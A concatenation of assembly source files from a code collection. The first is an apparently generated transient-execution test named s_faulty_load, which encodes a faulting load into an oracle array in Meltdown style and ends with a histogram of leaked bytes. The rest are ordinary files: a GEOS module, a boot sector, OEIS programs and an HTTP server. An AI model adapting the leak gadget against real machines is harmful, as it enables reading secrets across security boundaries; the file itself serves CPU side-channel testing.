lea addresses_WC_ht+0x1e2c5, %rdi
nop
nop
nop
nop
sub %r8, %r8
mov $21, %rcx
rep movsb
nop
dec %r8
lea addresses_A_ht+0x1e345, %rsi
lea addresses_WC_ht+0x1b25, %rdi
nop
nop
nop
and $37846, %rbx
mov $37, %rcx
rep movsq
nop
nop
cmp $34909, %rsi
lea addresses_WC_ht+0x1b7e4, %rsi
lea addresses_D_ht+0xc345, %rdi
nop
nop
xor %r10, %r10
mov $73, %rcx
rep movsb
nop
and %rbp, %rbp
lea addresses_WT_ht+0x10c85, %rbp
nop
add $55030, %r10
mov (%rbp), %cx
nop
nop
and %rdi, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r8
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r8
push %r9
push %rdi
push %rdx
push %rsi
// Store
mov $0x270fe10000000345, %rdx
nop
nop
nop
nop
xor $50067, %rdi
mov $0x5152535455565758, %r14
movq %r14, %xmm1
vmovntdq %ymm1, (%rdx)
nop
dec %rdi
// Load
lea addresses_US+0xd2c8, %rsi
nop
nop
nop
sub $14651, %rdi
mov (%rsi), %r11
nop
nop
nop
nop
nop
dec %r11
// Faulty Load
mov $0x270fe10000000345, %rdx
nop
nop
nop
nop
nop
dec %r9
mov (%rdx), %rdi
lea oracles, %r11
and $0xff, %rdi
shlq $12, %rdi
mov (%r11,%rdi,1), %rdi
pop %rsi
pop %rdx
pop %rdi
pop %r9
pop %r8
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'58': 4147, '96': 3, '68': 4, '00': 135, '60': 5, 'ac': 5, '9a': 4, '1a': 8, 'ee': 4, '42': 6, 'bc': 8, '8a': 9, 'f6': 12, '0e': 3, 'e4': 7, '50': 7, 'f2': 5, '90': 4, '7e': 5, '9c': 5, 'f0': 9, '3c': 2, '62': 4, '6c': 3, 'fe': 4, '64': 5, '88': 6, '70': 6, '18': 7, '82': 1, '52': 2, 'be': 3, '24': 4, 'c8': 12, 'b4': 3, 'c4': 6, 'ea': 7, '4e': 8, 'a2': 6, 'fc': 7, '56': 2, '44': 12, '22': 4, '80': 2, 'aa': 6, '94': 2, 'd4': 7, '78': 1, '7c': 6, 'a0': 8, '72': 5, 'f8': 1, 'ae': 3, 'b8': 4, 'c6': 1, '02': 5, '0c': 4, '30': 3, 'd0': 5, '5c': 3, 'f4': 5, '74': 7, 'd2': 3, '36': 2, '6a': 2, '3e': 3, '92': 2, 'e6': 3, '6e': 4, 'd8': 7, 'e0': 4, '66': 4, '4a': 5, '3a': 3, '76': 4, 'fa': 5, 'b0': 7, '10': 4, 'e2': 4, '16': 3, '2e': 3, '54': 5, '5a': 2, 'a4': 4, '2a': 4, '1c': 4, 'd6': 3, 'c2': 6, '48': 4, '9e': 3, '28': 3, 'ca': 1, 'ec': 3, '46': 4, '08': 3, 'dc': 5, '38': 8, 'da': 4, '32': 1, 'ba': 3, '86': 4, '4c': 2, 'cc': 4, '40': 3, '5e': 2, 'de': 1, '0a': 1, 'c0': 5, '98': 2, 'a6': 2, '84': 4, 'a8': 4, '04': 4, '06': 2, '26': 1, '1e': 1, 'e8': 3, '34': 2, '12': 3, 'b2': 2, '20': 3, 'b3': 1, 'ce': 1, '7a': 1, '8c': 1}
58 58 58 58 58 58 58 96 58 58 58 58 68 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 60 58 58 58 ac 58 58 58 58 58 58 9a 58 96 58 58 58 1a 58 58 58 58 58 58 58 00 ee 58 58 58 58 58 42 58 58 58 58 58 58 58 bc 58 8a 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 f6 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 0e 58 0e 58 58 58 58 58 58 58 58 58 58 e4 58 58 58 58 58 58 50 58 58 f2 58 58 58 58 e4 58 90 58 58 58 58 58 58 58 58 7e 58 9c 58 58 f0 58 58 58 58 00 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 3c 58 58 58 58 58 58 58 58 58 58 58 58 58 58 62 58 58 58 6c 58 58 58 58 58 fe 58 58 00 58 58 58 58 58 58 58 58 8a 58 58 58 64 58 58 58 58 58 58 58 58 58 88 70 58 58 58 58 58 58 18 58 58 58 58 82 58 58 58 58 58 00 58 58 58 58 52 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 be 58 00 58 58 24 58 58 58 58 58 58 58 58 58 58 c8 58 58 b4 58 c4 18 58 58 ea 58 4e 58 58 58 58 58 58 58 58 58 a2 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 1a 58 58 58 58 58 58 00 58 58 58 58 58 58 70 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 fc 58 58 58 58 58 58 58 58 58 58 58 c8 58 56 58 58 58 58 58 58 58 fc 58 58 44 58 58 00 00 58 00 58 58 58 58 58 22 58 58 58 80 50 58 58 58 58 58 58 58 58 aa 58 58 58 58 58 58 94 58 d4 58 58 58 58 58 58 58 58 58 78 58 58 58 58 58 58 58 58 58 58 58 7c 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 a0 58 58 58 58 58 58 72 58 58 58 58 58 58 58 58 00 58 58 58 58 58 ac 58 58 c8 58 58 58 58 58 58 88 58 58 f6 00 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 88 58 f8 58 58 58 58 58 58 58 58 58 58 58 58 44 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 f6 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 f0 58 58 58 00 58 a0 c4 58 58 58 58 58 58 58 58 58 58 58 58 58 ae 58 58 58 58 58 58 58 58 c8 58 58 58 58 58 58 b8 58 58 58 58 c8 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 c6 58 58 58 58 58 58 fc 58 58 02 58 0c 58 30 58 58 58 58 00 58 58 58 58 58 58 58 58 00 58 58 58 58 00 d0 58 58 58 58 58 d4 5c 58 58 ea 58 58 58 9c 58 58 58 58 58 58 58 58 f4 58 58 58 58 58 58 58 00 58 58 58 00 58 c8 74 58 58 58 58 58 58 58 8a 58 58 58 58 58 58 58 58 58 58 d2 58 58 62 00 58 36 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 50 58 64 6a 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 3e 58 58 58 58 58 58 58 5c 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 92 58 58 58 58 00 58 00 58 58 58 f4 58 58 58 58 58 58 58 1a 00 58 44 58 58 58 58 00 58 58 58 58 58 58 58 e6 58 58 58 58 58 58 58 58 58 58 6e a2 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 d8 58 58 58 58 58 58 58 58 58 58 58 58 58 60 50 74 58 58 58 58 58 58 58 58 58 58 58 58 4e 58 58 58 58 58 58 58 58 58 e0 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 ea 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58
*/
| 41.108911 | 2,999 | 0.612837 |
88eec209729e31b6299b14c0dea4978de5338162 | 3,226 | asm | Assembly | Appl/FileMgrs2/CommonDesktop/CFolder/cfolderManager.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Appl/FileMgrs2/CommonDesktop/CFolder/cfolderManager.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Appl/FileMgrs2/CommonDesktop/CFolder/cfolderManager.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1988 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: CommonDesktop/CFolder
FILE: cfolderManager.asm
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 8/89 Initial version
brianc 8/16/89 changed to subclass of DeskVis
DESCRIPTION:
This file assembles the CFolder/ module of the desktop.
$Id: cfolderManager.asm,v 1.3 98/06/03 13:34:27 joon Exp $
------------------------------------------------------------------------------@
_CFolder = 1
;-----------------------------------------------------------------------------
; Include common definitions
;-----------------------------------------------------------------------------
include cdesktopGeode.def
ND < include Internal/spoolInt.def > ; for NDPrinterClass
ND < include Internal/fsd.def > ; for NDDesktopClass and
; NDDriveClass
if _BMGR
UseDriver Internal/powerDr.def ; for WarnIfNoKeyboard
endif
;-----------------------------------------------------------------------------
; Include cdefinitions for this module
;-----------------------------------------------------------------------------
include thread.def ; for GeodeLoad priority
include system.def ; for DosExec
include gstring.def ; for GrPlayString flags
include fileEnum.def ; for FileEnum stuff
include vm.def ; for transfer stuff
include disk.def
include driver.def
include initfile.def
UseLib iacp.def
include library.def
include Internal/heapInt.def
include cfolderConstant.def
include cfolderVariable.def
;-----------------------------------------------------------------------------
; Include code
;-----------------------------------------------------------------------------
include cfolderCode.asm
include cfolderActionObscure.asm
include cfolderMisc.asm
if _PRINT_CAPABILITY
include cfolderPrint.asm
endif
include cfolderDisplay.asm
include cfolderButton.asm
include cfolderRecord.asm
include cfolderSelect.asm
include cfolderOperations.asm
include cfolderUtils.asm
include cfolderPlacement.asm
include cfolderIcon.asm
include cfolderFileChange.asm
include cfolderKeyboard.asm
include cfolderCursor.asm
if ERROR_CHECK
include cfolderEC.asm
endif
if _NEWDESK
;include cfolderNotify.asm ;need to RCS this file from Geoworks...
include cfolderScan.asm
if not GPC_NO_PRINT
include cfolderPrinter.asm
endif
include cndfolderClass.asm
include cndfolderDriveClass.asm
include cndfolderIcon.asm
include cndfolderWastebasket.asm
include cndfolderPopupMenu.asm
include cnddesktopfolderClass.asm
if _NEWDESKBA
include folderBA.asm
include folderTeacherClasses.asm
include folderStudentClasses.asm
include folderRoster.asm
include folderTeacherCourse.asm
include folderStudentHomeTView.asm
include folderTeacherHome.asm
;include folderStudentHome.asm
;include folderStudentCourse.asm
;include folderStudentHomeByTeacher.asm
;include folderOfficeHome.asm
include folderCourseware.asm
include folderListFolder.asm
include folderUtil.asm
include folderPrinter.asm
endif ; if _NEWDESKBA
endif ; if _NEWDESK
| 27.57265 | 80 | 0.628022 |
e1d46bd3affd58479ab6d80f1a4e7e44c314f058 | 1,795 | asm | Assembly | Boot/UltraBoot.asm | UltraOS/Ultra | 287035fea303767285e48e5c7867d147790ff55b | [
"Apache-2.0"
] | 44 | 2020-07-09T07:31:43.000Z | 2022-03-29T20:55:01.000Z | Boot/UltraBoot.asm | 8infy/UltraOS | 2ed2879c96a7095b5077df5ba5db5b30a6565417 | [
"Apache-2.0"
] | 3 | 2021-04-24T13:53:53.000Z | 2021-09-27T05:50:28.000Z | Boot/UltraBoot.asm | 8infy/UltraOS | 2ed2879c96a7095b5077df5ba5db5b30a6565417 | [
"Apache-2.0"
] | 3 | 2021-03-01T09:29:12.000Z | 2021-06-25T17:06:27.000Z | BITS 16
ORIGINAL_ADDRESS: equ 0x7C00
RELOCATED_ADDRESS: equ 0xFDFF
VBR_SIZE: equ SECTOR_SIZE
KERNEL_LOADER_DIRECTORY_INDEX: equ 0
ORG RELOCATED_ADDRESS
start:
jmp short init
nop
OEMLabel db "UltraOS "
%include "BPB.inc"
%include "CommonMacros.inc"
init:
; initilize memory segments
cli
mov [boot_drive], dl
mov [this_partition], bx
xor ax, ax
mov ds, ax
mov es, ax
mov ss, ax
mov sp, 0x7C00
sti
; Relocate ourselves to give space to the kernel loader
relocate:
mov si, ORIGINAL_ADDRESS
mov di, RELOCATED_ADDRESS
mov cx, VBR_SIZE
rep movsb
jmp 0x0:main ; force a long jump here
main:
; calculate offset to FAT
movzx eax, word [sectors_reserved]
add eax, [hidden_sector_count]
mov [fat_offset_in_sectors], eax
; calculate the offset to data in sectors
mov eax, [sectors_per_fat_table]
movzx ebx, byte [fat_table_count]
mul ebx
add eax, [fat_offset_in_sectors]
mov [data_offset_in_sectors], eax
read_root_directory [boot_drive], KERNEL_LOADER_SEGMENT, KERNEL_LOADER_OFFSET
read_directory_file KERNEL_LOADER_SEGMENT, KERNEL_LOADER_OFFSET, KERNEL_LOADER_DIRECTORY_INDEX, kernel_loader_file
transfer_control_to_kernel_loader:
mov ax, KERNEL_LOADER_SEGMENT
mov ds, ax
mov es, ax
mov si, boot_context
jmp KERNEL_LOADER_SEGMENT:KERNEL_LOADER_OFFSET
%include "Common.inc"
kernel_loader_file: db "UKLOADERBIN"
no_file_error: db "Couldn't find the kernel loader file!", CR, LF, 0
boot_context:
this_partition: dw 0x0000
data_offset_in_sectors: dd 0x00000000
fat_offset_in_sectors: dd 0x00000000
times 510-($-$$) db 0
boot_signature dw 0xAA55 | 24.256757 | 118 | 0.695822 |
f327b981b714aeff0f0bbd60e2a7c47c9f7b094f | 597 | asm | Assembly | src/dependancy-test.asm | brgmnn/uob-cpu-simulator | e2a5367974e2712013409c7601274927d4023902 | [
"MIT"
] | null | null | null | src/dependancy-test.asm | brgmnn/uob-cpu-simulator | e2a5367974e2712013409c7601274927d4023902 | [
"MIT"
] | null | null | null | src/dependancy-test.asm | brgmnn/uob-cpu-simulator | e2a5367974e2712013409c7601274927d4023902 | [
"MIT"
] | null | null | null | # this program has a chain of dependancies
mov r1,#1
mov r2,#2
add r0,r1,r2
mov r3,r0
add r0,r1,r2
mov r3,r0
add r0,r1,r2
mov r3,r0
add r0,r1,r2
mov r3,r0
add r0,r1,r2
mov r3,r0
add r0,r1,r2
mov r3,r0
add r0,r1,r2
mov r3,r0
add r0,r1,r2
mov r3,r0
add r0,r1,r2
mov r3,r0
add r0,r1,r2
mov r3,r0
add r0,r1,r2
mov r3,r0
add r0,r1,r2
mov r3,r0
add r0,r1,r2
mov r3,r0
add r0,r1,r2
mov r3,r0
add r0,r1,r2
mov r3,r0
add r0,r1,r2
mov r3,r0
add r0,r1,r2
mov r3,r0
add r0,r1,r2
mov r3,r0
add r0,r1,r2
mov r3,r0
add r0,r1,r2
mov r3,r0
add r0,r1,r2
mov r3,r0
halt | 12.4375 | 42 | 0.646566 |
fa48409ca2a216920366b5e567c94e7bbc5c5eda | 350 | asm | Assembly | data/maps/objects/Route11Gate2F.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | 1 | 2022-02-15T00:19:44.000Z | 2022-02-15T00:19:44.000Z | data/maps/objects/Route11Gate2F.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | null | null | null | data/maps/objects/Route11Gate2F.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | null | null | null | Route11Gate2F_Object:
db $a ; border block
def_warps
warp 7, 7, 4, ROUTE_11_GATE_1F
def_signs
sign 1, 2, 3 ; Route11GateUpstairsText3
sign 6, 2, 4 ; Route11GateUpstairsText4
def_objects
object SPRITE_YOUNGSTER, 4, 2, WALK, LEFT_RIGHT, 1 ; person
object SPRITE_SCIENTIST, 2, 6, STAY, NONE, 2 ; person
def_warps_to ROUTE_11_GATE_2F
| 21.875 | 60 | 0.742857 |
45babae8dd01235bd6442246d3b854603d2d2eda | 53 | asm | Assembly | MPI/Lab-1/div_16_bit.asm | vishwas1101/Misc | cf660dfbacc674cd262eb4abd0e9dd07479a90ae | [
"MIT"
] | null | null | null | MPI/Lab-1/div_16_bit.asm | vishwas1101/Misc | cf660dfbacc674cd262eb4abd0e9dd07479a90ae | [
"MIT"
] | null | null | null | MPI/Lab-1/div_16_bit.asm | vishwas1101/Misc | cf660dfbacc674cd262eb4abd0e9dd07479a90ae | [
"MIT"
] | null | null | null |
org 100h
MOV AX,1927H
MOV BX,1201H
DIV BX
ret
| 4.076923 | 12 | 0.660377 |
d82d8b7484055e6cd37d46e4608acca40b7d697f | 857 | asm | Assembly | oeis/142/A142950.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/142/A142950.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/142/A142950.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A142950: Primes congruent to 55 mod 64.
; Submitted by Jamie Morken(s4)
; 311,439,503,631,823,887,1399,1783,1847,2039,2423,2551,2999,3191,3319,3511,3767,4663,4919,5303,5431,5623,5879,6007,6199,6263,6967,7159,7351,7607,7927,8311,8887,8951,9463,9719,10039,10103,10487,11383,11447,11831,11959,12343,12791,12919,12983,13367,13687,13751,13879,14071,14327,14519,15031,15287,15607,15671,15991,16183,16567,16631,16759,16823,17207,17783,17911,18679,18743,19319,19447,20023,20407,20599,20663,20983,21559,21751,21943,22391,23159,23671,24247,24439,24631,25463,25847,26423,27127,27191
mov $1,3
mov $2,$0
add $2,2
pow $2,2
lpb $2
add $1,24
mov $3,$1
sub $1,4
mul $3,2
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,12
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
sub $2,1
lpe
mov $0,$1
mul $0,2
add $0,49
| 32.961538 | 499 | 0.72112 |
d1e6efac24a29eafa673912afc8378229e875d7a | 92 | asm | Assembly | tvm/test/data/bad-no-orig.asm | psyomn/sprawl | c330e51efdaec3f4e73d3fb8d44fe88533b04f3b | [
"Apache-2.0"
] | null | null | null | tvm/test/data/bad-no-orig.asm | psyomn/sprawl | c330e51efdaec3f4e73d3fb8d44fe88533b04f3b | [
"Apache-2.0"
] | null | null | null | tvm/test/data/bad-no-orig.asm | psyomn/sprawl | c330e51efdaec3f4e73d3fb8d44fe88533b04f3b | [
"Apache-2.0"
] | null | null | null | ;; this should fail because there is no .ORIG segment
ADD R1, R1, R1
XOR R1, R1
| 23 | 57 | 0.619565 |
ad920bdfb7a954331c6511d8dea208c6cca3977d | 191 | asm | Assembly | 30-Fill-the-Floor.size.asm | blueset/7bh-solutions | 988afddf87411bec06ec9e90179b55fb55345a5d | [
"MIT"
] | null | null | null | 30-Fill-the-Floor.size.asm | blueset/7bh-solutions | 988afddf87411bec06ec9e90179b55fb55345a5d | [
"MIT"
] | null | null | null | 30-Fill-the-Floor.size.asm | blueset/7bh-solutions | 988afddf87411bec06ec9e90179b55fb55345a5d | [
"MIT"
] | null | null | null | -- 7 Billion Humans --
-- 30: Fill the floor --
-- Size: 6/6 --
-- Speed: 1108/192 --
mem1 = nearest printer
a:
drop
takefrom mem1
if c != nothing:
step nw,w,sw,n,s,ne,e,se
endif
jump a
| 11.235294 | 25 | 0.612565 |
989d5bce59afc5941be9b5fda263e13a3d42b614 | 483 | asm | Assembly | oeis/226/A226976.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/226/A226976.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/226/A226976.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A226976: Fibonacci(n)^3 + Fibonacci(n+2)^3
; Submitted by Christian Krause
; 1,9,28,133,539,2322,9773,41501,175636,744273,3152359,13354306,56568617,239630337,1015087436,4299984173,18215017507,77160064914,326855259829,1384581132277,5865179743556,24845300179929,105246380344463,445830821750018,1888569667033489
mov $1,$0
mov $3,2
lpb $3
mov $0,$1
sub $3,1
add $0,$3
add $0,$3
max $0,0
seq $0,56570 ; Third power of Fibonacci numbers (A000045).
add $2,$0
lpe
mov $0,$2
| 28.411765 | 233 | 0.743271 |
70528aa15a198799643c6a20502ab0d5f3dcdf43 | 601 | asm | Assembly | oeis/152/A152041.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/152/A152041.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/152/A152041.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A152041: A008893/2.
; 0,4,33,129,355,795,1554,2758,4554,7110,10615,15279,21333,29029,38640,50460,64804,82008,102429,126445,154455,186879,224158,266754,315150,369850,431379,500283,577129,662505,757020,861304,976008,1101804,1239385,1389465,1552779,1730083,1922154,2129790,2353810,2595054,2854383,3132679,3430845,3749805,4090504,4453908,4841004,5252800,5690325,6154629,6646783,7167879,7719030,8301370,8916054,9564258,10247179,10966035,11722065,12516529,13350708,14225904,15143440,16104660,17110929,18163633,19264179,20413995
add $0,1
bin $0,2
mov $1,$0
mov $2,7
mul $2,$0
mul $1,$2
add $0,$1
div $0,2
| 50.083333 | 501 | 0.806988 |
5ff404a762225ed59bf7d4a8be33a1119b00663e | 4,782 | asm | Assembly | src/server.asm | poletaevvlad/http-asm | 353d90b4e61f37041e4a8dda2547d0aeef7dc9bb | [
"MIT"
] | 7 | 2018-10-12T19:41:55.000Z | 2022-01-29T08:37:04.000Z | src/server.asm | poletaevvlad/http-asm | 353d90b4e61f37041e4a8dda2547d0aeef7dc9bb | [
"MIT"
] | null | null | null | src/server.asm | poletaevvlad/http-asm | 353d90b4e61f37041e4a8dda2547d0aeef7dc9bb | [
"MIT"
] | 2 | 2021-02-06T08:36:22.000Z | 2022-01-26T05:14:12.000Z | %include "diskio.asm"
%include "urlutils.asm"
%define socket_sc 41
%define bind_sc 49
%define listen_sc 50
%define accept_sc 43
%define shutdown_sc 48
%define setsockopt_sc 54
%define AF_INET 2
%define SOCK_STREAM 1
%define SOL_SOCKET 1
%define SO_REUSEADDR 2
%define LINE_BUFFER_SIZE 512
section .data
method_get db "GET", 0
section .text
; input: rdi - port number
; output: rax - socket or -1 on fail
_init_server:
push rbp
mov rbp, rsp
mov rax, rdi
xchg ah, al
mov r9, rax
mov rax, socket_sc
mov rdi, AF_INET
mov rsi, SOCK_STREAM
xor rdx, rdx
syscall
cmp rax, 0
jl .error
mov rbx, rax
sub rsp, 4
mov DWORD [rbp - 4], 1
mov rax, setsockopt_sc
mov rdi, rbx
mov rsi, SOL_SOCKET
mov rdx, SO_REUSEADDR
lea r10, [rbp - 4]
mov r8, 4
syscall
sub rsp, 16
mov rcx, 12
lea rsi, [rbp - 12]
.mem_zero:
mov [rsi], BYTE 0
inc rsi
loop .mem_zero
mov [rbp - 16], WORD AF_INET
mov [rbp - 14], r9w
mov rax, bind_sc
mov rdi, rbx
lea rsi, [rbp - 16]
mov rdx, 16
syscall
mov rsp, rbp
cmp rax, 0
jl .error
mov rax, listen_sc
mov rdi, rbx ; socket
mov rsi, 64
syscall
cmp rax, 0
jl .error
mov rax, rbx
jmp .end
.error:
mov rax, -1
.end:
pop rbp
ret
; input: rdi - pointer to http request string
; output: rax - pointer to the start of url or 0 if method is invalid
_parse_request:
push rcx
mov rsi, method_get
.loop:
mov cl, [rdi]
cmp cl, 13
je .error
test cl, cl
jz .error
mov ch, [rsi]
test ch, ch
jz .skip_space_loop
cmp ch, cl
jne .error
inc rsi
inc rdi
jmp .loop
.skip_space_loop:
mov cl, [rdi]
cmp cl, 13
je .error
test cl, cl
jz .error
cmp cl, ' '
jne .done
inc rdi
jmp .skip_space_loop
.done:
cmp cl, '/'
jne .skip_add
inc rdi
.skip_add:
mov rax, rdi
jmp .end
.error:
mov eax, 0
.end:
pop rcx
ret
; input: rdi - file descriptor
; rsi - buffer
; output: rax - pointer to line end or 0 if no \13 symbol was found
_read_line:
xor r8, r8
.read_loop:
xor rax, rax ; read_sc
sub rdx, rsi
mov rdx, LINE_BUFFER_SIZE
sub rdx, r8
test rdx, rdx
jz .not_found
syscall
cmp rax, 0
jng .not_found
push rdi
add r8, rax
mov rdi, rsi
add rdi, rax
.check_endl_loop:
mov cl, [rsi]
cmp cl, 13
je .found
inc rsi
cmp rdi, rsi
jne .check_endl_loop
pop rdi
jmp .read_loop
.found:
mov rax, rsi
add rsp, 8
ret
.not_found:
mov rax, 0
ret
; input: rdi - client's descriptor
; output: none
_handle_client:
push rbp
mov rbp, rsp
sub rsp, LINE_BUFFER_SIZE
mov rcx, rdi
mov r9, rcx
lea rsi, [rbp - LINE_BUFFER_SIZE]
call _read_line
test rax, rax
jz .bad_request
lea rdi, [rbp - LINE_BUFFER_SIZE]
call _parse_request
test rax, rax
jz .unsupported_method
push rax
xor rcx, rcx
.terminate_path_loop:
mov cl, [rax]
cmp cl, ' '
je .terminate_path_loop_end
cmp cl, 13
je .terminate_path_loop_end
cmp cl, '?'
je .terminate_path_loop_end
inc rax
jmp .terminate_path_loop
.terminate_path_loop_end:
mov [rax], BYTE 0
mov rdi, [rsp]
push rdi
call _url_decode
mov rdi, [rsp + 8]
call _check_dot_segments
test rax, rax
jz .bad_request
pop rdi
pop rax
mov rsp, rax
mov rcx, [pathLength]
sub rsp, rcx
mov rdi, [path]
mov rsi, rsp
.strcopy:
mov al, [rdi]
mov [rsi], al
inc rsi
inc rdi
loop .strcopy
mov rsi, r9 ; socket descr.
mov rdi, rsp
call _serve_file
jmp .end
.unsupported_method:
mov rdi, error405
mov rsi, r9
call _send_error
jmp .end
.bad_request:
mov rdi, error400
mov rsi, r9
call _send_error
.end:
mov rsp, rbp
pop rbp
ret
; input: rdi - socket descr.
; output: none
_server_loop:
mov rax, accept_sc
xor rsi, rsi
xor rdx, rdx
syscall
push rdi
push rax
mov rdi, rax
call _handle_client
mov rax, shutdown_sc
pop rdi
mov rsi, 2
syscall
pop rdi
jmp _server_loop
ret
| 16.778947 | 69 | 0.538687 |
c8c46dea2b6ccc62b9c5104a75a20715a974ebdc | 18 | asm | Assembly | examples/usecase_barrelfish/initial_stack/extract-synth-amd64.asm | Harvard-PRINCESS/Cassiopea-Release | 3fc731463575e9cc6e614f2bcfd11215b7651b5f | [
"BSD-3-Clause"
] | null | null | null | examples/usecase_barrelfish/initial_stack/extract-synth-amd64.asm | Harvard-PRINCESS/Cassiopea-Release | 3fc731463575e9cc6e614f2bcfd11215b7651b5f | [
"BSD-3-Clause"
